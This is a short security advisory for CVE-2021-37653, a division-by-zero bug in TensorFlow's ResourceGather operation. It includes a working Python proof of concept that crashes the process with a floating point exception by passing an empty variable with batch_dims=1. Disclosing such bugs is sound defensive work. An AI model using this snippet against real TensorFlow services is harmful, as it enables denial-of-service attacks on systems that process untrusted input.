CVE-2021-37653: Division by 0 in `ResourceGather`
(updated )
An attacker can trigger a crash via a floating point exception in tf.raw_ops.ResourceGather:
import tensorflow as tf
tensor = tf.constant(value=[[]],shape=(0,1),dtype=tf.uint32)
v = tf.Variable(tensor)
tf.raw_ops.ResourceGather(
resource=v.handle,
indices=[0],
dtype=tf.uint32,
batch_dims=1,
validate_indices=False)
